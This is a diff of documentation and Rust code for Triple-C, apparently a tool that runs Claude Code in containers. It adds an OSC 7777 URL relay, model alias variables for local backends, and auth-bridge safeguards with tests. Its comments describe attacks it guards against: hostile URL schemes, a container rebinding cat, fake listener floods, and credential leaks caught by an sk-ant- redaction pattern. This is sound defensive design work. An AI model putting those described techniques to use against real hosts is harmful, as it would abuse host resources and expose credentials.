- These variables are **not** set for the **Anthropic** or **Bedrock** backends. Those reach
|
||||
servers that genuinely host the Anthropic model IDs, so Claude Code's own defaults are correct.
|
||||
- All four names are reserved — you cannot set them yourself as custom environment variables.
|
||||
- Changing a model or a Background model **recreates the container on the next start**, because
|
||||
environment variables can only change at creation time.
|
||||
- `ANTHROPIC_SMALL_FAST_MODEL`, the deprecated predecessor of the Haiku variable, is not used.
|
||||
|
||||
---
|
||||
|
||||
## Settings
|
||||
|
||||
Access global settings via the **Settings** tab in the sidebar. The panel is a set of collapsible
|
||||
@@ -940,7 +1129,7 @@ The sandbox container (Ubuntu 24.04) comes pre-installed with:
|
||||
| build-essential | — | C/C++ compiler toolchain |
|
||||
| openssh-client | — | SSH for git and remote access |
|
||||
|
||||
The container also includes **clipboard shims** (`xclip`, `xsel`, `pbcopy`) that forward copy operations to the host via OSC 52, and an **audio shim** (`rec`, `arecord`) for future voice mode support.
|
||||
The container also includes **clipboard shims** (`xclip`, `xsel`, `pbcopy`) that forward copy operations to the host via OSC 52, a **browser shim** (`triple-c-open`, installed as `xdg-open`, `sensible-browser`, `www-browser`, `x-www-browser` and `$BROWSER`) that relays URLs to your host browser — see [Opening URLs in Your Browser](#opening-urls-in-your-browser-url-relay) — and an **audio shim** (`rec`, `arecord`) for future voice mode support.
|
||||
|
||||
You can install additional tools at runtime with `sudo apt install`, `pip install`, `npm install -g`, etc. Installed packages persist across container stops (but not across resets).
|
||||
|
||||
@@ -990,6 +1179,28 @@ These features are built into Claude Code and work inside Triple-C containers wi
|
||||
- If the toast doesn't appear, try scrolling up in the terminal — the URL may have already been printed.
|
||||
- You can also manually copy the URL from the terminal output and paste it into your browser.
|
||||
|
||||
### "Couldn't find a suitable web browser" / a Command Won't Open a Page
|
||||
|
||||
The [URL relay](#opening-urls-in-your-browser-url-relay) should catch this. If a command still
|
||||
complains, check from a terminal session in that project:
|
||||
|
||||
```bash
|
||||
echo "$BROWSER" # /usr/local/bin/triple-c-open
|
||||
triple-c-open https://example.com/ # should raise the prompt in the terminal
|
||||
```
|
||||
|
||||
If `$BROWSER` is empty or `triple-c-open` is missing, the container is running an **older image**.
|
||||
Rebuild it (Project Home → **Reset**, or pull/build the image again from Settings) — the relay is
|
||||
part of the container image, not something the app can inject into a running container.
|
||||
|
||||
If you see *"no Triple-C terminal attached"*, the command is running somewhere with no terminal —
|
||||
a scheduled task, or a shell you opened with your own `docker exec`. The URL is printed instead;
|
||||
copy it into your browser. See
|
||||
[When no terminal is attached](#when-no-terminal-is-attached).
|
||||
|
||||
If the prompt says the URL was refused, the command asked for a scheme the relay will not open on
|
||||
your machine (anything that isn't `http`/`https`).
|
||||
|
||||
### A Browser Login Never Completes
|
||||
|
||||
You opened the URL, signed in successfully, and the CLI in the terminal is still waiting. The
|
||||
|
||||
@@ -97,6 +97,60 @@ plugins and MCP servers**, at user scope (`/home/claude/.claude`) and project sc
|
||||
Triple-C does not create or edit any of them — Claude Code owns that configuration, and the tiles
|
||||
link out to a terminal where `/agents`, `/hooks`, `/plugins` and `/mcp` do the real work.
|
||||
|
||||
### URL Relay (host browser)
|
||||
|
||||
There is no browser and no display inside the container, so any CLI that wants to open a web page
|
||||
— `gh auth login`, `aws sso login`, `gcloud auth login`, `az login`, vendor CLIs, `xdg-open`,
|
||||
Python's `webbrowser` — simply fails. The URL relay forwards the *request* to the host, where the
|
||||
user's real browser is. Nothing is rendered or forwarded from the container; only the URL travels.
|
||||
It complements the Auth Bridge below: the relay gets the login page open, the bridge lets the
|
||||
callback land.
|
||||
|
||||
**Transport — an OSC escape sequence, following `osc52-clipboard`.** `container/triple-c-open`
|
||||
writes
|
||||
|
||||
```
|
||||
ESC ] 7777 ; open ; <base64(url)> BEL
|
||||
```
|
||||
|
||||
to **`/dev/tty`**, and `TerminalView.tsx` picks it up with `term.parser.registerOscHandler(7777, …)`.
|
||||
`/dev/tty` rather than stdout is the whole point: the shim usually runs as a grandchild of
|
||||
something that captures its children's output (Claude Code invoking `gh auth login` as a tool
|
||||
call), so a printed sentinel line — the `###TRIPLE_C_SSO_REFRESH###` approach — would be swallowed
|
||||
by the intermediate process and never reach the terminal. A control sequence on the controlling
|
||||
terminal always arrives, and is invisible to terminals that don't know it. Base64 keeps a `;`,
|
||||
`BEL` or `ESC` inside the URL from breaking out of the sequence.
|
||||
|
||||
**Container side** — `container/triple-c-open`, installed as `xdg-open`, `sensible-browser`,
|
||||
`www-browser`, `x-www-browser`, `gnome-open`, `gvfs-open`, `kde-open`, `open`, and exported as
|
||||
`$BROWSER`. Ubuntu 24.04 ships a real `/usr/bin/sensible-browser` (from `sensible-utils`), so that
|
||||
one is `dpkg-divert`ed rather than merely shadowed by a `/usr/local/bin` symlink; `www-browser` and
|
||||
`x-www-browser` are registered through `update-alternatives` and pinned with `--set`, because
|
||||
`sensible-browser` probes them by absolute path and because a later `apt install firefox` must not
|
||||
be able to steal them. `xdg-open` is diverted pre-emptively so installing `xdg-utils` inside the
|
||||
container cannot displace the relay. `BROWSER` is an image-level `ENV` — terminal sessions are
|
||||
separate `docker exec`s and never see what the entrypoint exported — and the entrypoint also
|
||||
forwards it into the scheduler's cron environment file.
|
||||
|
||||
**No terminal attached** (cron-driven scheduled tasks, or a plain `docker exec` from outside
|
||||
Triple-C): there is no handshake and nothing to wait for, so the shim never blocks. The write to
|
||||
`/dev/tty` fails, and it prints the URL in plain text on its own line and exits 0 — which lands in
|
||||
the scheduler task log where a human can still act on it.
|
||||
|
||||
**Security posture — the container is the untrusted side.** `app/src/lib/urlRelay.ts` validates
|
||||
before anything reaches `openUrl`: `http:`/`https:` only (`file:`, `javascript:`, `data:` and every
|
||||
registered protocol handler rejected), no embedded credentials, no control characters or
|
||||
whitespace, length-capped, and returned WHATWG-normalized so the prompt shows exactly what will
|
||||
open. Nothing opens automatically — the user confirms in the existing `UrlToast`, and prompts are
|
||||
rate-limited (5 per 10 s, repeats of the same URL collapsed) so a loop in the container cannot bury
|
||||
the UI.
|
||||
|
||||
**Web terminal** — deliberately *not* a copy of the desktop behaviour. The browser there belongs to
|
||||
a remote viewer, possibly on a phone across a tunnel, so `terminal.html` renders the relayed URL as
|
||||
a tap-to-open link banner with the same scheme allowlist and rate limit, and opens nothing by
|
||||
itself. The OSC handler is registered regardless so the sequence is consumed rather than painted as
|
||||
garbage.
|
||||
|
||||
### Auth Bridge
|
||||
|
||||
Browser-based logins run *inside* a container (`claude login`, `aws sso login`, Concourse
|
||||
@@ -169,9 +223,42 @@ Each project can independently use one of:
|
||||
- **Anthropic** (OAuth or shared token): either the shared `claude setup-token` token injected as `CLAUDE_CODE_OAUTH_TOKEN` (see below), or a per-container `claude login`. An interactive login's token lives in the config volume and survives container stop/start and recreation — but **not** a Reset, which deletes the volumes.
|
||||
- **AWS Bedrock**: Per-project AWS credentials (static keys, profile, or bearer token). SSO sessions are validated before launching Claude for Profile auth.
|
||||
- **Ollama**: Connect to a local or remote Ollama server via `ANTHROPIC_BASE_URL` (e.g., `http://host.docker.internal:11434`). Requires a model ID, and the model must be pulled (or used via Ollama cloud) before starting the container.
|
||||
- **OpenAI Compatible**: Connect through any OpenAI API-compatible endpoint (LiteLLM, OpenRouter, vLLM, text-generation-inference, LocalAI, etc.) via `ANTHROPIC_BASE_URL` + `ANTHROPIC_AUTH_TOKEN`. API key stored securely in OS keychain.
|
||||
- **llama.cpp**: Connect to a local or remote `llama-server` via `ANTHROPIC_BASE_URL` (e.g., `http://host.docker.internal:8080` — 8080 is `llama-server`'s default port). `ANTHROPIC_AUTH_TOKEN` is set to a placeholder; `llama-server` ignores it unless it was started with `--api-key`.
|
||||
- **OpenAI Compatible**: Connect through a gateway that implements the **Anthropic Messages API**, via `ANTHROPIC_BASE_URL` + `ANTHROPIC_AUTH_TOKEN`. API key stored securely in OS keychain.
|
||||
|
||||
> **Note:** Ollama and OpenAI Compatible support is best-effort. Claude Code is designed for Anthropic models, so some features (tool use, extended thinking, prompt caching, etc.) may not work as expected with non-Anthropic models behind these backends.
|
||||
> **The endpoint must speak the Anthropic Messages API.** Claude Code only ever sends
|
||||
> `POST /v1/messages?beta=true` in Anthropic Messages format to `ANTHROPIC_BASE_URL` — it never
|
||||
> speaks OpenAI's `/v1/chat/completions`. So a server that exposes *only* an OpenAI-compatible API
|
||||
> (plain vLLM, text-generation-inference, LocalAI, OpenRouter, …) will **not** work behind any of
|
||||
> these backends. What does work: **LiteLLM**, which exposes an Anthropic-shaped route, and
|
||||
> **Ollama** and **llama.cpp**, both of which implement `POST /v1/messages` natively — which is why
|
||||
> they get first-class backends of their own rather than going through a translation layer.
|
||||
|
||||
#### Model alias variables
|
||||
|
||||
The `opus` / `sonnet` / `haiku` / `fable` aliases in Claude Code resolve to Anthropic model IDs by
|
||||
default. Against a local server those IDs do not exist, so anything that uses an alias fails —
|
||||
most visibly the **background** calls (conversation titles, summaries), which use `haiku`.
|
||||
|
||||
For every backend that points at a custom endpoint (Ollama, llama.cpp, OpenAI Compatible),
|
||||
Triple-C therefore sets all four:
|
||||
|
||||
| Variable | Value |
|
||||
|---|---|
|
||||
| `ANTHROPIC_DEFAULT_OPUS_MODEL` | the backend's configured model ID |
|
||||
| `ANTHROPIC_DEFAULT_SONNET_MODEL` | the backend's configured model ID |
|
||||
| `ANTHROPIC_DEFAULT_HAIKU_MODEL` | the **Background model** override, else the configured model ID |
|
||||
| `ANTHROPIC_DEFAULT_FABLE_MODEL` | the backend's configured model ID |
|
||||
|
||||
A local server usually serves exactly one model, so pointing every alias at it is the right
|
||||
default. If you run a second, smaller model for cheap background work, set **Background model**
|
||||
(Config → Model, and in global Backend settings) and only the Haiku alias moves.
|
||||
|
||||
These are *not* set for the Anthropic or Bedrock backends, which reach servers that really do host
|
||||
the Anthropic model IDs. Triple-C manages all four names, so they cannot be set as custom
|
||||
environment variables. (`ANTHROPIC_SMALL_FAST_MODEL` is deprecated and is not used.)
|
||||
|
||||
> **Note:** Ollama, llama.cpp and OpenAI Compatible support is best-effort. Claude Code is designed for Anthropic models, so some features (tool use, extended thinking, prompt caching, etc.) may not work as expected with non-Anthropic models behind these backends.
|
||||
|
||||
### Container Spawning (Sibling Containers)
|
||||
|
||||
@@ -244,7 +331,7 @@ Users can override this in Settings via the global `docker_socket_path` option.
|
||||
| `app/src/components/settings/SharedAuthSettings.tsx` | Acquire / revoke the shared Claude authentication token |
|
||||
| `app/src/components/settings/WebTerminalSettings.tsx` | Web terminal toggle, URL, token management |
|
||||
| `app/src/components/settings/SttSettings.tsx` | STT settings panel (model, port, language, container controls) |
|
||||
| `app/src/components/terminal/TerminalView.tsx` | xterm.js terminal with WebGL, URL detection, OSC 52 clipboard, image paste |
|
||||
| `app/src/components/terminal/TerminalView.tsx` | xterm.js terminal with WebGL, URL detection, OSC 52 clipboard, OSC 7777 URL relay, image paste |
|
||||
| `app/src/components/terminal/SttButton.tsx` | Mic button with on-demand STT container start |
|
||||
| `app/src/hooks/useTerminal.ts` | Terminal session management (claude and bash modes) |
|
||||
| `app/src/hooks/useProjectActions.ts` | Start/stop/reset/backup and terminal-opening helpers |
|
||||
@@ -276,6 +363,8 @@ Users can override this in Settings via the global `docker_socket_path` option.
|
||||
| `container/Dockerfile` | Ubuntu 24.04 sandbox image with Claude Code + dev tools + clipboard/audio shims |
|
||||
| `container/entrypoint.sh` | UID/GID remap, SSH setup, Docker group config, Claude Code settings injection, Mission Control setup |
|
||||
| `container/osc52-clipboard` | Clipboard shim (xclip/xsel/pbcopy via OSC 52) |
|
||||
| `container/triple-c-open` | URL relay shim (xdg-open/`$BROWSER`/sensible-browser via OSC 7777); prints the URL when no terminal is attached |
|
||||
| `app/src/lib/urlRelay.ts` | Host-side relay validation: OSC 7777 parsing, http/https allowlist, rate limiting |
|
||||
| `container/audio-shim` | Audio capture shim (rec/arecord via FIFO) for voice mode |
|
||||
| `container/triple-c-scheduler` | Bash CLI managing scheduled task JSON and the crontab |
|
||||
| `container/triple-c-task-runner` | Cron entry point; maps `TRIPLE_C_PERMISSION_MODE` to flags and runs `claude -p` |
|
||||
@@ -295,6 +384,6 @@ Users can override this in Settings via the global `docker_socket_path` option.
|
||||
|
||||
**Pre-installed tools**: Claude Code, Node.js 22 LTS + pnpm, Python 3.12 + uv + ruff, Rust (stable), Docker CLI, git + gh, AWS CLI v2, ripgrep, openssh-client, build-essential
|
||||
|
||||
**Shims**: `xclip`/`xsel`/`pbcopy` (OSC 52 clipboard forwarding), `rec`/`arecord` (audio FIFO for voice mode)
|
||||
**Shims**: `xclip`/`xsel`/`pbcopy` (OSC 52 clipboard forwarding), `xdg-open`/`sensible-browser`/`www-browser`/`x-www-browser`/`$BROWSER` (OSC 7777 URL relay to the host browser), `rec`/`arecord` (audio FIFO for voice mode)
|
||||
|
||||
**Default user**: `claude` (UID/GID 1000, remapped by entrypoint to match host)
|
||||
|
||||
+40
-4
@@ -218,8 +218,21 @@ Each project independently chooses one backend:
|
||||
|------|-------------|-------------|
|
||||
| **Anthropic** | Either the shared `CLAUDE_CODE_OAUTH_TOKEN` injected from the OS keychain, or a per-container `claude login` whose credential persists in the `.claude` config volume. The OAuth URL opens in the host browser via URL detection. | Default — personal and team use |
|
||||
| **AWS Bedrock** | Per-project AWS credentials (static keys, named profile, or bearer token) injected as env vars. `~/.aws` config optionally bind-mounted read-only; SSO sessions are validated before launching Claude for profile auth. | Enterprise environments using Bedrock |
|
||||
| **Ollama** | `ANTHROPIC_BASE_URL` points at an Ollama server; `ANTHROPIC_AUTH_TOKEN` is set to a placeholder. | Local models (best-effort) |
|
||||
| **OpenAI Compatible** | `ANTHROPIC_BASE_URL` plus `ANTHROPIC_AUTH_TOKEN` point at any OpenAI-compatible endpoint (LiteLLM, OpenRouter, vLLM, …). | Gateways and proxies (best-effort) |
|
||||
| **Ollama** | `ANTHROPIC_BASE_URL` points at an Ollama server; `ANTHROPIC_AUTH_TOKEN` is set to the placeholder `ollama`. Ollama implements `POST /v1/messages` natively. | Local models (best-effort) |
|
||||
| **llama.cpp** | `ANTHROPIC_BASE_URL` points at a `llama-server` (default port 8080); `ANTHROPIC_AUTH_TOKEN` is set to the placeholder `llama.cpp`, which `llama-server` ignores unless started with `--api-key`. `llama-server` implements `POST /v1/messages` and `/v1/messages/count_tokens` natively. | Local models (best-effort) |
|
||||
| **OpenAI Compatible** | `ANTHROPIC_BASE_URL` plus `ANTHROPIC_AUTH_TOKEN` point at a gateway. **Despite the name, the endpoint must implement the Anthropic Messages API** — Claude Code only ever sends `POST /v1/messages?beta=true`, never `/v1/chat/completions`. LiteLLM works; a bare OpenAI-only server does not. | Anthropic-shaped gateways (best-effort) |
|
||||
|
||||
#### Model aliases on custom endpoints
|
||||
|
||||
`Backend::uses_custom_endpoint()` (Ollama, llama.cpp, OpenAI Compatible) gates the emission of
|
||||
`ANTHROPIC_DEFAULT_{OPUS,SONNET,HAIKU,FABLE}_MODEL`, computed by
|
||||
`docker::container::compute_model_aliases`. All four default to the backend's resolved model id;
|
||||
each backend carries an optional `haiku_model_id` override, because the Haiku alias is what Claude
|
||||
Code uses for background work. Anthropic and Bedrock emit none of them and keep Claude Code's
|
||||
defaults; the four names are in `MANAGED_AUTH_KEYS`, so switching away from a custom endpoint
|
||||
blanks the values baked into the snapshot image. The resolved alias set is folded into each
|
||||
backend's `triple-c.*-fingerprint` label, since `container_needs_recreation` is label-based and
|
||||
never diffs env. `ANTHROPIC_SMALL_FAST_MODEL` is deprecated and unused.
|
||||
|
||||
### Shared Claude Authentication Token
|
||||
|
||||
@@ -232,9 +245,31 @@ minutes.
|
||||
|
||||
- **Storage** — the OS keychain, under a dedicated service name; the token is never returned to the
|
||||
frontend, never written to a log, and no command accepts or returns it.
|
||||
- **The sign-in URL comes from the OSC 8 parameter, not the screen.** The CLI emits the URL as a
|
||||
hyperlink and slices the *visible* text of it to the terminal width — measured against 2.1.226, a
|
||||
346-character URL arrives at 80 columns as five separate hyperlink emissions, each carrying the
|
||||
whole URL in its parameter and 80 characters of it on screen. Scraping the visible text yields a
|
||||
URL that parses, points at `claude.com`, and cannot authorise anything, so the ANSI stripper
|
||||
surfaces the hyperlink target and `claude-token-link` carries it to the UI. The frontend applies
|
||||
the `ANTHROPIC_SIGN_IN_HOSTS` allowlist to it before display and again before `openUrl` — an OSC 8
|
||||
parameter is container output that is never rendered, which makes it the *easier* place to hide a
|
||||
hostile host, not a trusted one. `stty cols 400` (up from 200, which the URL still overflowed)
|
||||
removes wrapping as a variable elsewhere, but it is not the fix: that line fails silently.
|
||||
- **A rejected code is recoverable, not a hang.** On a bad paste the CLI prints
|
||||
`OAuth error: Invalid code…` / `Press Enter to retry.` and blocks on stdin rather than exiting.
|
||||
The streamed output is scanned for that, `claude-token-code-rejected` reopens the input with an
|
||||
explanation, and the Enter is sent so the next code has a prompt to land in — bounded by
|
||||
`MAX_CODE_ATTEMPTS`, after which the flow reports a failure. Without this the exec sat until the
|
||||
15-minute timeout with the UI still saying "Finishing sign-in".
|
||||
- **Redaction** — streamed output is stripped of ANSI sequences and passed through a stateful
|
||||
redactor that masks anything matching `sk-ant-` with a plausible body, withholding any tail that
|
||||
could still grow into a secret across a chunk boundary.
|
||||
could still grow into a secret across a chunk boundary. A credential split across a hard line
|
||||
wrap is reassembled by both the parser and the redactor from the same `scan_credential_body`, so
|
||||
the two cannot disagree about where a credential ends — previously a wrapped token was rejected
|
||||
as too short *and* its second line, which carries no `sk-ant-` marker, was printed to the UI in
|
||||
clear. A run is only joined across a break that sits at a plausible terminal margin and is not
|
||||
already long enough to be a whole credential; otherwise a repainting TUI would weld one frame's
|
||||
token onto the next frame's first word.
|
||||
- **Injection** — `CLAUDE_CODE_OAUTH_TOKEN` is set only when the backend is Anthropic, the project
|
||||
has not opted out (`use_shared_auth_token`, default `true`), and a non-blank token is stored. When
|
||||
those conditions do not hold, the variable is explicitly set to empty rather than omitted, so a
|
||||
@@ -443,7 +478,8 @@ triple-c/
|
||||
│ │ # ClaudeInstructions, ClaudeCodeSettings —
|
||||
│ │ # editors reused by Project Home
|
||||
│ ├── settings/ # SettingsPanel, DockerSettings, AwsSettings,
|
||||
│ │ # OllamaSettings, OpenAiCompatibleSettings,
|
||||
│ │ # OllamaSettings, LlamaCppSettings,
|
||||
│ │ # OpenAiCompatibleSettings,
|
||||
│ │ # SharedAuthSettings, ClaudeAuthModal,
|
||||
│ │ # WebTerminalSettings, SttSettings,
|
||||
│ │ # MicrophoneSettings, UpdateDialog, ImageUpdateDialog
|
||||
|
||||
@@ -38,6 +38,11 @@ base64 = "0.22"
|
||||
rand = "0.9"
|
||||
local-ip-address = "0.6"
|
||||
|
||||
[dev-dependencies]
|
||||
# `test-util` (not part of tokio's `full`) lets the auto-start retry tests run
|
||||
# their backoff schedule under a paused clock instead of in real seconds.
|
||||
tokio = { version = "1", features = ["full", "test-util"] }
|
||||
|
||||
[build-dependencies]
|
||||
tauri-build = { version = "2", features = [] }
|
||||
|
||||
|
||||
@@ -56,7 +56,7 @@ use tokio::sync::{watch, Mutex};
|
||||
use tokio::task::JoinHandle;
|
||||
|
||||
use crate::docker::container::is_container_running;
|
||||
use crate::docker::exec::exec_oneshot;
|
||||
use crate::docker::exec::{exec_oneshot_limited, PROC_NET_OUTPUT_LIMIT};
|
||||
use crate::storage::projects_store::ProjectsStore;
|
||||
|
||||
use proc_net::PortFamily;
|
||||
@@ -248,9 +248,14 @@ impl AuthBridgeManager {
|
||||
/// project whose bridge is on but whose container is stopped still reports
|
||||
/// `enabled: true` with no active ports.
|
||||
pub async fn status(&self, project_id: &str, enabled: bool) -> AuthBridgeStatus {
|
||||
let map = self.bridges.lock().await;
|
||||
match map.get(project_id) {
|
||||
Some(bridge) => bridge.state.lock().await.snapshot(enabled),
|
||||
// Clone the per-project handle out and drop the map lock before taking
|
||||
// the state lock. Holding both across the nested await is not a
|
||||
// deadlock — the order is consistently bridges→state — but it puts a
|
||||
// cheap UI status call behind whatever the poller is doing under
|
||||
// `state`, and behind every other project's status call too.
|
||||
let state = self.bridges.lock().await.get(project_id).map(|b| b.state.clone());
|
||||
match state {
|
||||
Some(state) => state.lock().await.snapshot(enabled),
|
||||
None => AuthBridgeStatus {
|
||||
enabled,
|
||||
..AuthBridgeStatus::disabled()
|
||||
@@ -300,8 +305,16 @@ async fn poll_loop(
|
||||
}
|
||||
|
||||
// One exec per tick reads both procfs files.
|
||||
//
|
||||
// Absolute path, deliberately: the image's `ENV PATH` puts a
|
||||
// container-writable directory first, so a bare `cat` is a name the
|
||||
// container can rebind to a shim that prints whatever it likes. It
|
||||
// still could not make us bind a *non-loopback* port, but it decides
|
||||
// how much output this loop ingests and how many host ports it is asked
|
||||
// for, which is why the call is also length-capped and the result
|
||||
// count is capped in `reconcile`.
|
||||
let cmd = vec![
|
||||
"cat".to_string(),
|
||||
"/usr/bin/cat".to_string(),
|
||||
"/proc/net/tcp".to_string(),
|
||||
"/proc/net/tcp6".to_string(),
|
||||
];
|
||||
@@ -309,7 +322,7 @@ async fn poll_loop(
|
||||
// bridge or stopping the container doesn't wait out an in-flight poll.
|
||||
let discovery = tokio::select! {
|
||||
_ = cancel.changed() => break,
|
||||
res = exec_oneshot(&container_id, cmd) => res,
|
||||
res = exec_oneshot_limited(&container_id, cmd, PROC_NET_OUTPUT_LIMIT) => res,
|
||||
};
|
||||
|
||||
match discovery {
|
||||
@@ -362,14 +375,71 @@ async fn poll_loop(
|
||||
/// Ports Docker already handles for this project. A container port that is
|
||||
/// explicitly published has a host-side path already, and the mapping's host
|
||||
/// port is a binding we must not fight over.
|
||||
///
|
||||
/// [`RESERVED_CONTAINER_PORTS`] is folded in as well: those are container
|
||||
/// loopback listeners another feature owns and exposes on its own,
|
||||
/// authenticated terms.
|
||||
fn skipped_ports(project: &crate::models::Project) -> HashSet<u16> {
|
||||
project
|
||||
let mut skip: HashSet<u16> = project
|
||||
.port_mappings
|
||||
.iter()
|
||||
.flat_map(|m| [m.container_port, m.host_port])
|
||||
.collect()
|
||||
.collect();
|
||||
skip.extend(RESERVED_CONTAINER_PORTS.clone());
|
||||
skip.extend(RESERVED_HOST_PORTS.clone());
|
||||
skip
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// Reservations
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
/// Container loopback ports another feature owns, which the bridge must leave
|
||||
/// alone.
|
||||
///
|
||||
/// The bridge's contract is "mirror every container loopback listener onto the
|
||||
/// same host port, **unauthenticated**" — correct for the throwaway OAuth
|
||||
/// callback listeners it exists for, wrong for anything sensitive. The
|
||||
/// browser-view pane runs Playwright's dashboard on a container loopback port
|
||||
/// in this range and puts a token-gated listener in front of it; mirroring that
|
||||
/// port here would quietly publish an ungated second door to full control of a
|
||||
/// browser inside the container.
|
||||
///
|
||||
/// This is a constant rather than a registry the pane populates at runtime, and
|
||||
/// that is the point: Playwright's dashboard is a detached daemon that outlives
|
||||
/// the app, so after a crash an orphaned viewer can still be listening with
|
||||
/// nothing in this process left to remember it. A static range is the only form
|
||||
/// of the rule that survives a restart. It must stay in step with
|
||||
/// `browser_view::VIEWER_PORTS`, which asserts on it.
|
||||
pub const RESERVED_CONTAINER_PORTS: std::ops::RangeInclusive<u16> = 39321..=39328;
|
||||
|
||||
/// Host ports another feature binds on demand, which the bridge must not take
|
||||
/// first.
|
||||
///
|
||||
/// These are the browser-view proxy's host ports. The bridge binds *host* ports
|
||||
/// named by the container, so a container listening on 47820 would have the
|
||||
/// bridge take the host side of that number — and then the browser-view pane,
|
||||
/// which only binds when the user opens it, finds its port gone. The two ranges
|
||||
/// are separate constants because they guard opposite ends of the same
|
||||
/// mechanism: [`RESERVED_CONTAINER_PORTS`] is about not *publishing* something,
|
||||
/// this one is about not *stealing* something.
|
||||
pub const RESERVED_HOST_PORTS: std::ops::RangeInclusive<u16> =
|
||||
crate::browser_view::proxy::PROXY_PORTS;
|
||||
|
||||
/// Most host ports the bridge will hold for one project at a time.
|
||||
///
|
||||
/// The discovery input is entirely container-controlled, and each
|
||||
/// [`PortForward`] costs two listeners plus a task, so without a cap a
|
||||
/// container that reports tens of thousands of fake listeners exhausts the
|
||||
/// app's file descriptors and the host's ephemeral ports in a single tick. A
|
||||
/// real login flow uses one or two ports at a time; anything past a couple of
|
||||
/// dozen is not a login.
|
||||
const MAX_FORWARDS: usize = 24;
|
||||
|
||||
/// Most conflicts recorded at once, so a flood of unbindable ports can't grow
|
||||
/// the status payload (and the UI list) without bound either.
|
||||
const MAX_CONFLICTS: usize = 32;
|
||||
|
||||
/// Bring the set of host listeners in line with what the container is currently
|
||||
/// listening on. Returns whether anything the UI cares about changed.
|
||||
async fn reconcile(
|
||||
@@ -412,6 +482,20 @@ async fn reconcile(
|
||||
if skip.contains(&port) || st.forwards.contains_key(&port) {
|
||||
continue;
|
||||
}
|
||||
if st.forwards.len() >= MAX_FORWARDS {
|
||||
// Don't even attempt the bind: the point of the cap is to stop the
|
||||
// container dictating how many host resources we take.
|
||||
changed |= note_conflict(
|
||||
&mut st,
|
||||
port,
|
||||
format!(
|
||||
"The auth bridge is already holding {} ports for this project; \
|
||||
{} was not bridged.",
|
||||
MAX_FORWARDS, port
|
||||
),
|
||||
);
|
||||
continue;
|
||||
}
|
||||
match PortForward::bind(container_id.to_string(), port, family).await {
|
||||
Ok(forward) => {
|
||||
if st.conflicts.remove(&port).is_some() {
|
||||
@@ -438,9 +522,8 @@ async fn reconcile(
|
||||
);
|
||||
if st.conflicts.get(&port) != Some(&reason) {
|
||||
log::warn!("Auth bridge: {}", reason);
|
||||
st.conflicts.insert(port, reason);
|
||||
changed = true;
|
||||
}
|
||||
changed |= note_conflict(&mut st, port, reason);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -448,6 +531,23 @@ async fn reconcile(
|
||||
changed
|
||||
}
|
||||
|
||||
/// Record why a port wasn't bridged, up to [`MAX_CONFLICTS`]. Returns whether
|
||||
/// the recorded set changed.
|
||||
fn note_conflict(state: &mut BridgeState, port: u16, reason: String) -> bool {
|
||||
match state.conflicts.get(&port) {
|
||||
Some(existing) if *existing == reason => false,
|
||||
Some(_) => {
|
||||
state.conflicts.insert(port, reason);
|
||||
true
|
||||
}
|
||||
None if state.conflicts.len() < MAX_CONFLICTS => {
|
||||
state.conflicts.insert(port, reason);
|
||||
true
|
||||
}
|
||||
None => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Release every host port held for this project. Awaits each shutdown, so on
|
||||
/// return nothing is bound.
|
||||
async fn teardown(project_id: &str, state: &Arc<Mutex<BridgeState>>) {
|
||||
@@ -519,7 +619,84 @@ mod tests {
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn no_mappings_means_nothing_is_skipped() {
|
||||
assert!(skipped_ports(&project_with_mappings(vec![])).is_empty());
|
||||
fn no_mappings_means_nothing_but_the_reserved_ranges_are_skipped() {
|
||||
let skip = skipped_ports(&project_with_mappings(vec![]));
|
||||
assert_eq!(
|
||||
skip.len(),
|
||||
RESERVED_CONTAINER_PORTS.clone().count() + RESERVED_HOST_PORTS.clone().count()
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_browser_views_host_ports_are_never_taken() {
|
||||
// The bridge binds *host* ports chosen by the container, so without
|
||||
// this it can take the port the browser-view proxy will want later —
|
||||
// that pane binds on demand, so first-come would win.
|
||||
let skip = skipped_ports(&project_with_mappings(vec![]));
|
||||
for port in RESERVED_HOST_PORTS {
|
||||
assert!(skip.contains(&port), "host port {} should be reserved", port);
|
||||
}
|
||||
assert!(!skip.contains(&(RESERVED_HOST_PORTS.end() + 1)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn conflicts_stop_being_recorded_past_the_cap() {
|
||||
let mut st = BridgeState::default();
|
||||
for port in 1000u16..1000 + MAX_CONFLICTS as u16 {
|
||||
assert!(note_conflict(&mut st, port, "busy".to_string()));
|
||||
}
|
||||
// Past the cap: new ports are dropped rather than growing the status
|
||||
// payload the UI renders.
|
||||
assert!(!note_conflict(&mut st, 9999, "busy".to_string()));
|
||||
assert_eq!(st.conflicts.len(), MAX_CONFLICTS);
|
||||
// A changed reason for a port already tracked still updates.
|
||||
assert!(!note_conflict(&mut st, 1000, "busy".to_string()));
|
||||
assert!(note_conflict(&mut st, 1000, "different".to_string()));
|
||||
assert_eq!(st.conflicts.len(), MAX_CONFLICTS);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn the_host_ports_one_container_can_demand_are_capped() {
|
||||
// The container fully controls the discovery input (it can shim the
|
||||
// probe command), and each forward costs two listeners plus a task —
|
||||
// uncapped, one tick could exhaust the app's fds and the host's
|
||||
// ephemeral ports.
|
||||
let discovered: BTreeMap<u16, PortFamily> =
|
||||
(45000u16..45200).map(|p| (p, PortFamily::V4)).collect();
|
||||
let state = Arc::new(Mutex::new(BridgeState::default()));
|
||||
|
||||
reconcile("no-such-container", &discovered, &HashSet::new(), &state).await;
|
||||
|
||||
let mut st = state.lock().await;
|
||||
assert!(
|
||||
st.forwards.len() <= MAX_FORWARDS,
|
||||
"bridged {} ports, cap is {}",
|
||||
st.forwards.len(),
|
||||
MAX_FORWARDS
|
||||
);
|
||||
assert!(st.conflicts.len() <= MAX_CONFLICTS);
|
||||
// Nowhere near the 200 the "container" asked for.
|
||||
assert!(st.forwards.len() + st.conflicts.len() < discovered.len());
|
||||
|
||||
for (_, mut forward) in std::mem::take(&mut st.forwards) {
|
||||
forward.shutdown().await;
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_browser_views_ports_are_never_mirrored() {
|
||||
// Mirroring these would publish an ungated second door to the
|
||||
// Playwright dashboard, which the pane deliberately keeps behind a
|
||||
